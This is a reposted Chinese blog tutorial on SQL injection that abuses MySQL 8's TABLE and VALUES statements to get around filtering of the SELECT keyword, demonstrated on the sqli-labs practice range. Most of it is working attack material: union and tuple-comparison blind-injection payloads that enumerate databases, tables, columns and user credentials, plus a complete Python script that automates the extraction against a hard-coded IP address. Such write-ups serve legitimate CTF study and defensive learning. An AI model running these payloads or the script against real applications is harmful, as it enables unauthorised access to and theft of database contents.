浅谈利用mysql8新特性进行SQL注入(转载)

1,296 阅读5分钟

0x00 前言 前段时间遇到一个题考查的是mysql8的table注入。当时没有做出来。之前有了解过mysql8的table注入,但做题的时候没有想到。这里简单总结复现一下mysql8新特性的sql注入。

0x01 MySQL8介绍 在ubuntu20 apt源中集成了mysql 8.0.20。官方表示MySQL8要比MySQL5.7快2倍,支持json,nosql,修改了默认身份验证等其他改进。

0x02 基本环境配置 1、搭建MySQL8环境 最简单的方法,就是使用docker拉取镜像搭建

docker pull mysql:8.0.21 docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21 2、搭建SQL注入环境 1.下载vulstudy综合环境:github.com/c0ny1/vulst… 2.启动vulstudy综合环境里的sql注入的靶场 3.进入容器修改sqli-lab的配置文件:

#安装vim sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list apt-get clean && apt-get update && apt-get install vim #修改sqli-lab的配置文件 vim /app/sql-connections/db-creds.inc 填写mysql相关连接信息,数据库的IP填宿主机IP(我这里是172.30.102.102)

4.然后在mysql8容器里通过下面sql语句修改默认认证方式(因为mysql8.0默认认证方式和5不一样):

ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456'; 5.重新配置数据库,环境搭建完成。

0x03 MySQL8语法新特性 在MySQL 8.0.19之后,MySQL推出几种新语法

1、TABLE statement TABLE statement 作用:列出表中全部内容

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。 支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。 例子: 首先选择mysql数据库:use security;

mysql> TABLE users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+----------+------------+ 13 rows in set (0.01 sec) 加上order by排序或LIMIT限制后

table users order by password; table users limit 1; table users limit 0,1; table users limit 1,1;

与SELECT的区别:

1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

2、VALUES statement VALUES statement 作用:列出一行的值

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...]

value_list: value[, value][, ...]

column_designator: column_index VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。 ROW()返回的是一个行数据,VALUES将ROW()返回的行数据加上字段整理为一个表,然后展示 例子:

mysql> TABLE emails; +----+------------------------+ | id | email_id | +----+------------------------+ | 1 | Dumb@dhakkan.com | | 2 | Angel@iloveu.com | | 3 | Dummy@dhakkan.local | | 4 | secure@dhakkan.local | | 5 | stupid@dhakkan.local | | 6 | superman@dhakkan.local | | 7 | batman@dhakkan.local | | 8 | admin@dhakkan.com | +----+------------------------+ 8 rows in set (0.00 sec)

mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM users; +----------+----------+------------+ | column_0 | column_1 | column_2 | +----------+----------+------------+ | 1 | 2 | 3 | | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----------+----------+------------+ 14 rows in set (0.00 sec)

0x04 利用MySQL8新特性绕过select 场景:select关键词被过滤,多语句无法使用 测试环境: 1.mysql命令终端 2.sqli-labs靶场Less-1

1、在mysql命令终端测试 1.判断列数 由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数

TABLE users union VALUES ROW(1,2,3);

2.使用values判断回显位 select * from users where id=-1 union values row(1,2,3);

3.列出所有数据库名 table information_schema.schemata;

4.盲注查询任意表中的内容 语句table users limit 1;的查询结果:

mysql> table users limit 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) 实质上是(id, username, password)与(1, 'Dumb', 'Dumb')进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。 两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。

mysql> select ((1,'','')<(table users limit 1)); +-----------------------------------+ | ((1,'','')<(table users limit 1)) | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set (0.00 sec)

mysql> select ((2,'','')<(table users limit 1)); +-----------------------------------+ | ((2,'','')<(table users limit 1)) | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Du','')<(table users limit 1)); +-------------------------------------+ | ((1,'Du','')<(table users limit 1)) | +-------------------------------------+ | 1 | +-------------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Dum','')<(table users limit 1)); +--------------------------------------+ | ((1,'Dum','')<(table users limit 1)) | +--------------------------------------+ | 1 | +--------------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Dumb','')<(table users limit 1)); +---------------------------------------+ | ((1,'Dumb','')<(table users limit 1)) | +---------------------------------------+ | 1 | +---------------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Dumb','D')<(table users limit 1)); +----------------------------------------+ | ((1,'Dumb','D')<(table users limit 1)) | +----------------------------------------+ | 1 | +----------------------------------------+ 1 row in set (0.00 sec) 需要注意的地方 1.当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!

2.最好用<=替换<,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观。

最终判断过程如下:

mysql> select ((1,'Dumb','Dumb')<=(table users limit 1)); +--------------------------------------------+ | ((1,'Dumb','Dumb')<=(table users limit 1)) | +--------------------------------------------+ | 1 | +--------------------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Dumb','Dumc')<=(table users limit 1)); +--------------------------------------------+ | ((1,'Dumb','Dumc')<=(table users limit 1)) | +--------------------------------------------+ | 0 | +--------------------------------------------+ 1 row in set (0.00 sec) 2、在sqli-labs靶场测试 1.判断列数 使用经典的order by语句判断:

1' order by 3--+ #正常 1' order by 4--+ #显示Unknown column '4' in 'order clause' 说明有3列

2.使用values判断回显位 -1' union values row(1,2,3)--+

3.爆库爆表爆字段爆数据 (1)爆当前数据库

-1' union values row(1,database(),3)--+ #或利用盲注1' and ascii(substr((database()),1,1))=115--+ 即s (2)爆所有数据库 因为table不能像select控制列数,除非列数一样的表,不然都回显不出来。 需要使用table查询配合无列名盲注 information_schema.schemata表有6列 因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名

1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常 1' and ('def','n','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误 #得到第1个数据库名的第一个字符为m ...... 1' and ('def','mysql','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常 1' and ('def','mysqm','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误 说明第1个数据库名为mysql

1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常 1' and ('def','information_schemb','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显错误 #说明第2个数据库名为information_schema ...... 一直猜解,直到获得全部数据库名 (3)爆数据表 information_schema.tables表有21列

1' and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 317,1)--+ #第一个表users

1' and ('def','security','emails','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 318,1)--+ #第二个表emails

1' and ('def','security','uagents','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 319,1)--+ #第三个表uagents

1' and ('def','security','referers','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 320,1)--+ #第四个表referers 前两个字段都是确定的,可以写一个for循环判断,如果结果为真,代表从那行开始(这里是limit 317,1,即第318行),然后盲注第三个列。 (4)爆字段名 information_schema.columns表有22列 得到所有表名后开始判断字段名,找到columns表,具体方法和上面一样

1' and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3386,1)--+ #users表第一个字段为id

1' and ('def','security','users','password','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3387,1)--+ #users表,第二个字段为password

1' and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3388,1)--+ #users表,第三个字段为username (3)爆数据

1' and (1,'D','')<=(table users limit 1)--+ #正常 1' and (1,'E','')<=(table users limit 1)--+ #错误

#table users limit 1也就是table users limit 0,1 #1' and (1,'D','')<=(table users limit 0,1)--+ #正常 #1' and (1,'E','')<=(table users limit 0,1)--+ #错误 ...... 1' and (1,'Dumb','Dumb')<=(table users limit 1)--+ #正常 1' and (1,'Dumb','Dumc')<=(table users limit 1)--+ #错误 得到第1个记录为1 Dumb Dumb

1' and (8,'admin','admin')<=(table users limit 7,1)--+ #正常 1' and (8,'admin','admio')<=(table users limit 7,1)--+ #错误 得到第8个记录为8 admin admin 一步一步注出数据

0x05 脚本编写 一个一个手注,似乎有点麻烦。自己于是尝试写个脚本:

''' @author qwzf @desc 本脚本是用于mysql 8新特性的sql注入 @date 2021/02/18 ''' import requests import string

url = 'http://121.41.231.75:8002/Less-8/?id=' chars=string.ascii_letters+string.digits+"@{}_-?"

def current_db(url): print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注") print("请输入序号:",end='') num = int(input()) if num == 1: payload = "-1' union values row(1,database(),3)--+" #联合查询爆当前数据库(可修改) urls = url + payload r = requests.get(url=urls) print(r.text) else: name='' payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改) for i in range(1,40): char='' for j in chars: payloads = payload.format(i,ord(j)) urls = url + payloads r = requests.get(url=urls) if "You are in" in r.text: name += j print(name) char = j break if char == '': break

def str2hex(name): res = '' for i in name: res += hex(ord(i)) res = '0x' + res.replace('0x','') return res

def dbs(url): #无列名盲注爆所有数据库(可修改) while True: print("请输入要爆第几个数据库,如:1,2等:",end='') x = int(input())-1 num = str(x) if x < 0: break payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+" name = '' for i in range(1,20): hexchar = '' for char in range(32, 126): hexchar = str2hex(name + chr(char)) payloads = payload.format(hexchar) #print(payloads) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: name += chr(char-1) print(name) break

def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改) payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+" for i in range(0,10000): payloads = payload.format(i) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: char = chr(ord(database[-1])+1) database = database[0:-1]+char payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+" urls = url + payld res = requests.get(url=urls) #print(i) if 'You are in' not in res.text: print('从第',i,'行开始爆数据表') #判断开始行数 n = i break return n

def tables(url,database,n): #无列名盲注爆数据表(可修改) while True: print("请输入要爆第几个数据表,如:1,2等:",end='') x = int(input())-1 num = str(x + n) if x < 0: break payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+" name = '' for i in range(1,20): hexchar = '' for char in range(32, 126): hexchar = str2hex(name + chr(char)) payloads = payload.format(hexchar) #print(payloads) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: name += chr(char-1) print(name) break

def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改) payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+" for i in range(3000,10000): payloads = payload.format(i) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: char = chr(ord(table[-1])+1) table = table[0:-1]+char payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+" urls = url + payld res = requests.get(url=urls) #print(i) if 'You are in' not in res.text: print('从第',i,'行开始爆字段') #判断开始行数 n = i break return n

def columns(url,database,table,n): #无列名盲注爆字段值(可修改) while True: print("请输入要爆第几个字段,如:1,2等:",end='') x = int(input())-1 num = str(x + n) if x < 0: break payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+" name = '' for i in range(1,20): hexchar = '' for char in range(32, 126): hexchar = str2hex(name + chr(char)) payloads = payload.format(hexchar) #print(payloads) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: name += chr(char-1) print(name) break

def datas(url,table): #无列名盲注爆数据(可修改) while True: print("请输入要爆第几个数据,如:1,2等:",end='') x = int(input()) y = x-1 num = str(y) if y < 0: break payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+" name = '' for i in range(1,20): hexchar = '' for char in range(32, 126): hexchar = str2hex(name + chr(char)) payloads = payload.format(hexchar) #print(payloads) urls = url + payloads r = requests.get(url=urls) if 'You are in' in r.text: name += chr(char-1) print(name) break

if name == "main": while True: print("请输入要操作的内容:\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库") types = int(input()) if types == 1: current_db(url) elif types == 2 or types == 3: print("请输入已经得到的数据库名:",end='') database = input() if types == 2: tables_n(url,database) elif types == 3: print("爆数据表开始行号:",end='') n = int(input()) tables(url,database,n) elif types == 4 or types == 5: print("请输入已经得到的数据库名:",end='') database = input() print("请输入已经得到的数据表名:",end='') table = input() if types == 4: columns_n(url,database,table) elif types == 5: print("爆字段值开始行号:",end='') n = int(input()) columns(url,database,table,n) elif types == 6: print("请输入要查询的数据表名:",end='') table = input() datas(url,table) else: dbs(url)